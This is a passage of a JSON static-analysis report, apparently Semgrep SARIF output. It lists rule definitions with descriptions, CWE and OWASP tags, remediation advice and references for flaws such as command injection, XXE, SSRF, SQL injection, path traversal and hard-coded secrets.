commands."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-system-command.tainted-system-command","id":"java.spring.security.injection.tainted-system-command.tainted-system-command","name":"java.spring.security.injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"help":{"markdown":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Access-Control-Allow-Origin response header is set to \"*\". This will disable CORS Same Origin Policy restrictions."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","id":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","name":"typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-cors-any.nestjs-header-cors-any"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","id":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","name":"kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxbuilder-xxe.saxbuilder-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","id":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","name":"swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.rabbit-hardcoded-secret.rabbit-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File name based on user input risks server-side request forgery."},"help":{"markdown":"File name based on user input risks server-side request forgery.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"File name based on user input risks server-side request forgery."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-filename.tainted-filename","id":"php.lang.security.injection.tainted-filename.tainted-filename","name":"php.lang.security.injection.tainted-filename.tainted-filename","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-filename.tainted-filename"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","id":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","name":"java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jedis.secrets.jedis-jedisclientconfig-hardcoded-password.jedis-jedisclientconfig-hardcoded-password"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"help":{"markdown":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The libxml2 parser is configured to process entities. Without other options such as processing DTDs or accessing remote entities from the network, it should not pose a risk except for memory exhaustion."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","id":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","name":"cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-local-entities.libxml2-expand-local-entities"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"help":{"markdown":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Detected file permissions that are overly permissive (read, write, and execute). It is generally a bad practices to set overly permissive file permission such as read+write+exec for all users. If the file affected is a configuration, a binary, a script or sensitive data, it can lead to privilege escalation or information leakage. Instead, follow the principle of least privilege and give users only the  permissions they need."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","id":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","name":"java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.overly-permissive-file-permission.overly-permissive-file-permission"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","id":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","name":"python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.tainted-path-traversal-stdlib.tainted-path-traversal-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"help":{"markdown":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning)\n - [https://pytorch.org/docs/stable/data.html#memory-pinning](https://pytorch.org/docs/stable/data.html#memory-pinning)\n","text":"If possible, it is better to rely on automatic pinning in PyTorch to avoid undefined behavior and for efficiency"},"helpUri":"https://semgrep.dev/r/trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","id":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","name":"trailofbits.python.automatic-memory-pinning.automatic-memory-pinning","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.automatic-memory-pinning.automatic-memory-pinning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Create parameterized queries in pgx by using positional parameters (`$1`, `$2`, ...) and adding the values as additional arguments to the function call. It is also possible to create prepared statements through the `Prepare` function. This function uses the same placeholders for bound parameters."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pgx-sqli-taint-med-conf.grpc-pgx-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"help":{"markdown":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map)\n - [https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/](https://blog.trailofbits.com/2019/11/07/attacking-go-vr-ttps/)\n","text":"Iteration over a possibly empty map `$C`. This is likely a bug or redundant code"},"helpUri":"https://semgrep.dev/r/trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","id":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","name":"trailofbits.go.iterate-over-empty-map.iterate-over-empty-map","properties":{"precision":"very-high","tags":["CWE-665: Improper Initialization","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.iterate-over-empty-map.iterate-over-empty-map"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"help":{"markdown":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed URL. This could allow an attacker to send data to their own server, potentially exposing sensitive data such as cookies or authorization information sent with this request. They could also probe internal servers or other resources that the server running this code can access. (This is called server-side request forgery, or SSRF.) Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/php.lang.security.injection.tainted-url-host.tainted-url-host","id":"php.lang.security.injection.tainted-url-host.tainted-url-host","name":"php.lang.security.injection.tainted-url-host.tainted-url-host","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.injection.tainted-url-host.tainted-url-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.actix.nosql.mongodb-taint.mongodb-taint","id":"rust.actix.nosql.mongodb-taint.mongodb-taint","name":"rust.actix.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","id":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","name":"python.flask.net.tainted-flask-http-request-httplib2.tainted-flask-http-request-httplib2","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM 